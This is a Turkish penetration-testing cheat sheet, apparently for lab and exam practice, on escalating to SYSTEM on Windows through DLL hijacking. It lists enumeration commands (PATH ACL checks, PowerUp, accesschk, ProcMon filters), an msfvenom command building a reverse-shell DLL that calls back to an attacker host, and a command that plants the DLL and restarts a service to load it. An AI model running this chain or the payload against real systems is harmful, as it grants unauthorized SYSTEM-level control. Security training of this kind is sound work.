FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE zor

DLL Hijacking → Eksik DLL / Yazılabilir PATH ile SYSTEM

Yüksek yetkili bir işlem/servis var olmayan bir DLL'i ararken yazma hakkına sahip olduğun bir dizinde (uygulama klasörü veya yazılabilir PATH dizini) arıyorsa, oraya kötü amaçlı DLL koyup işlemi tetikleyerek SYSTEM bağlamında kod çalıştırırsın. ProcMon ile 'NAME NOT FOUND' DLL'leri enumere edilir.

Bilgi: ÖN KOŞULLAR
  • Yüksek yetkili (SYSTEM/admin) bir işlem veya servis
  • DLL arama sırasındaki bir dizine yazma hakkı (uygulama dizini veya yazılabilir bir PATH girdisi)
  • İşlemi başlatma/yeniden başlatma veya tetikleme imkanı
┌──

Komutlar

powershell ✓ EXAM-SAFE user
$env:Path -split ';' | ForEach-Object { if ($_ -and (Test-Path $_)) { icacls $_ } }
Sistem PATH'indeki her dizinin ACL'ini döker; BUILTIN\Users veya Authenticated Users'a (W)/(M)/(F) veren yazılabilir bir PATH dizini DLL hijack için altın değerdedir. HackTricks — Windows Local Privilege Escalation (Writable %PATH% folders / DLL Hijacking)
powerup ✓ EXAM-SAFE user
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Find-PathDLLHijack"
PowerUp ile yazılabilir PATH dizinlerini ve DLL hijack fırsatlarını otomatik bulur. PowerSploit/PowerUp — Find-PathDLLHijack
accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uwdq "C:\Path\To\AppDir"
Hedef uygulama dizinine veya şüpheli PATH dizinine yazma hakkını doğrular (dizin yazma = DLL yerleştirme). HackTricks — Windows Local Privilege Escalation (accesschk directory write)
procmon ✓ EXAM-SAFE user
Procmon64.exe /AcceptEula
Sysinternals Process Monitor'ı çalıştır; Filtre: Operation is 'CreateFile' / 'Load Image', Path ends with '.dll', Result is 'NAME NOT FOUND' — hedef işlemin aradığı ama bulamadığı DLL'leri görürsün. HackTricks — DLL Hijacking (Procmon enumeration)
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f dll -o hijack.dll
Yerleştirilecek kötü amaçlı DLL'i üret. DLL'in DllMain'i yüklenince payload çalışır; isim hedefin aradığı DLL ile birebir aynı olmalı. OffSec PEN-200 — msfvenom DLL payload; HackTricks — DLL Hijacking
powershell ✓ EXAM-SAFE user
Copy-Item .\hijack.dll 'C:\Path\To\WritableDir\MISSING.dll'; Get-Service 'VulnSvc' | Restart-Service -Force
Üretilen DLL'i hedefin aradığı isimle yazılabilir dizine kopyala ve işlemi/servisi yeniden başlatarak yüklenmesini tetikle. HackTricks — DLL Hijacking (place DLL + trigger)
powershell ✓ EXAM-SAFE user
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch 'C:\\Windows' -and $_.StartName -eq 'LocalSystem' } | Select Name,PathName,StartName
SYSTEM olarak çalışan, Windows dışı binary'ye sahip servisleri listele — DLL hijack için tetiklenebilir hedef adayları. HackTricks — Windows Local Privilege Escalation

Zafiyetin Mantığı

Windows bir process bir DLL’i isimle (tam yol olmadan) yüklediğinde, onu belirli bir arama sırasıyla (DLL Search Order) arar. SafeDllSearchMode açıkken sıra kabaca: uygulama dizini → System32 → System16 → Windows dizini → mevcut çalışma dizini → %PATH% dizinleri. Eğer:

  • Yüksek yetkili (SYSTEM) bir işlem var olmayan bir DLL arıyorsa (NAME NOT FOUND), ve
  • bu işlemin uygulama dizinine VEYA aramadan önce gelen yazılabilir bir PATH dizinine senin yazma hakkın varsa,

o zaman doğru isimde kötü amaçlı bir DLL koyarak işlemi onu yüklemeye kandırır ve DllMain içinde kodunu SYSTEM olarak çalıştırırsın.

Tespit / Enumeration

1) Yazılabilir PATH dizinleri: %PATH%’i parçalayıp her dizinin ACL’ini icacls ile kontrol et. BUILTIN\Users/Authenticated Users için (W)/(M)/(F) veren bir PATH dizini en kolay yoldur — System32’den önce gelen yazılabilir bir girdi tüm SYSTEM işlemlerini etkileyebilir. PowerUp Find-PathDLLHijack bunu otomatik bulur.

2) Eksik DLL’ler (ProcMon): Sysinternals Process Monitor ile hedef işlemi izle. Filtreler:

  • Operation is CreateFile (veya Load Image)
  • Path ends with .dll
  • Result is NAME NOT FOUND

Bu sana işlemin aradığı ama bulamadığı DLL’lerin tam isim ve yolunu verir. Bunlardan yazılabilir bir konuma denk geleni hedef al. winPEAS de bazı DLL hijack ipuçlarını raporlar.

3) Hedef seçimi: SYSTEM olarak çalışan, Windows dışı binary’ye sahip ve senin tetikleyebileceğin (restart edebileceğin veya kullanıcı login’inde/zamanlı çalışan) bir servis/uygulama ideal.

Exploitation

  1. Kali’de msfvenom -f dll ile DLL payload üret. Modern DLL hijack için DLL’in DllMain’inde payload tetiklenir; gerekirse export-forwarding/proxy DLL ile orijinal fonksiyonları yönlendir ki uygulama crash olmasın.
  2. DLL’i hedefin tam aradığı isimle (ProcMon’dan öğrendiğin) yazılabilir dizine kopyala.
  3. İşlemi/servisi yeniden başlat (Restart-Service), kullanıcı login’ini bekle, ya da zamanlı görevi tetikle.
  4. Reverse shell’i yakala / SYSTEM’i doğrula.

Notlar / Tuzaklar

  • Sadece eksik (NAME NOT FOUND) DLL’ler güvenli hedeftir. Var olan bir DLL’i ezmek ya hak gerektirir ya da uygulamayı bozar.
  • Uygulama DLL’in belirli export’larını çağırıyorsa, sadece DllMain çalıştıran ham msfvenom DLL’i process’i çökertebilir — proxy/forwarder DLL (orijinal DLL’e export forward eden) daha güvenli ve sessizdir.
  • Mimari uyumu kritik: 64-bit işleme 64-bit, 32-bit’e 32-bit DLL ver.
  • ProcMon’u hedef işlemin başladığı anı yakalamak için önce filtrele, sonra işlemi tetikle.
  • Temizlik: yerleştirdiğin DLL’i sonradan sil ve raporla.
┌──

Kaynaklar

0/15 set